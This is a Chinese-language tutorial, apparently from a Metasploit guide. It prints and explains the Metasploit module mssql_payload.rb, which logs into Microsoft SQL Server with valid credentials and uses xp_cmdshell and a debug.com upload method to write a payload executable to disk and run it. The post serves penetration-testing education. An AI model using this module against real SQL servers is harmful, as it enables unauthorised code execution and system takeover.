Metasploit 通过MSSQL,创建我们的辅助模块

通过MSSQL,一个辅助模块有效负载

我们将查看三个不同的文件,它们应该比以前的部分更为熟悉。

/usr/share/metasploit-framework/lib/msf/core/exploit/mssql_commands.rb
/usr/share/metasploit-framework/lib/msf/core/exploit/mssql.rb
/usr/share/metasploit-framework/modules/exploits/windows/mssql/mssql_payload.rb

 

让我们先看看'mssql_payload.rb',以便更好地了解我们将与之合作的内容。

##
# $Id: mssql_payload.rb 7236 2009-10-23 19:15:32Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 > Msf::Exploit::Remote

include Msf::Exploit::Remote::MSSQL
def initialize(info = {})

super(update_info(info,
'Name' => 'Microsoft SQL Server Payload Execution',
'Description' => %q{
This module will execute an arbitrary payload on a Microsoft SQL
Server, using the Windows debug.com method for writing an executable to disk
and the xp_cmdshell stored procedure. File size restrictions are avoided by
incorporating the debug bypass method presented at Defcon 17 by SecureState.
Note that this module will leave a metasploit payload in the Windows
System32 directory which must be manually deleted once the attack is completed.
},
'Author' => [ 'David Kennedy "ReL1K"
'License' => MSF_LICENSE,
'Version' => '$Revision: 7236 $',
'References' =>
[
[ 'OSVDB', '557'],
[ 'CVE', '2000-0402'],
[ 'BID', '1281'],
[ 'URL', 'http://www.thepentest.com/presentations/FastTrack_ShmooCon2009.pdf'],
],
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultTarget' => 0
))
end

def exploit

debug = false # enable to see the output

if(not mssql_login_datastore)
print_status("Invalid SQL Server credentials")
return
end

mssql_upload_exec(Msf::Util::EXE.to_win32pe(framework,payload.encoded), debug)

handler
disconnect
end

虽然这个文件可能看起来很简单,但幕后实际上还有很多事情要做。让我们分解这个文件,看看不同的部分。具体而言,我们从lib / msf / core / exploits区域中的mssql.rb调用。

 

在这个文件中完成的第一件事就是输入Remote类,并包含MSSQL模块。

class Metasploit3 > Msf::Exploit::Remote

include Msf::Exploit::Remote::MSSQL

 

参考部分简单列举了关于攻击或概念的最初利用证明的附加信息。这是我们可以找到OSVDB参考资料,EDB参考资料等的地方。

'References' =>
	[
	[ 'OSVDB', '557'],
	[ 'CVE', '2000-0402'],
	[ 'BID', '1281'],
	[ 'URL', 'http://www.thepentest.com/presentations/FastTrack_ShmooCon2009.pdf'],
],

 

平台部分指出目标的平台和版本。以下部分是“Targets”对象,这是不同版本将被列举的地方。这些行允许用户在攻击之前选择目标。当设置攻击时没有指定目标时,使用'DefaultTarget'值。

'Platform' => 'win',
'Targets' =>
	[
	[ 'Automatic', { } ],
],
'DefaultTarget' => 0

 

'def exploit'这行代表我们的漏洞利用代码的开始。下一个声明是为了调试目的。考虑到有很多信息来回传递,在需要之前将这个设置设为'假'是一个好主意。

debug = false # enable to see the output

 

进入下一行,这是整个攻击中最复杂的部分。这里的一行代码实际上是从mssql.rb中取出多行代码。

mssql_upload_exec(Msf::Util::EXE.to_win32pe(framework,payload.encoded), debug)

mssql_upload_exec(在mssql.rb中定义的函数,用于通过SQL将可执行文件上传到底层操作系统)

Msf :: Util :: EXE.to_win32pe(framework,payload.encoded)=根据您指定的内容创建metasploit有效内容,使其成为可执行文件并使用默认编码进行编码

debug=调用调试功能是打开还是关闭?

最后,处理程序将处理来自后台有效负载的连接,以便我们可以接受metasploit有效内容。代码的断开连接部分停止与MSSQL服务器的连接。

 

mssql

现在我们已经介绍了这一部分,我们将分解mssql.rb中的下一部分,以确切了解这种攻击正在做什么。

    A+
发布日期:2018年06月10日 00:17:08  所属分类:Metasploit
最后更新时间:2018-06-10 00:17:08
付杰
  • ¥ 1.0元
  • 市场价:9.9元
  • ¥ 398.0元
  • 市场价:498.0元
  • ¥ 298.0元
  • 市场价:398.0元
  • ¥ 798.0元
  • 市场价:1298.0元

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: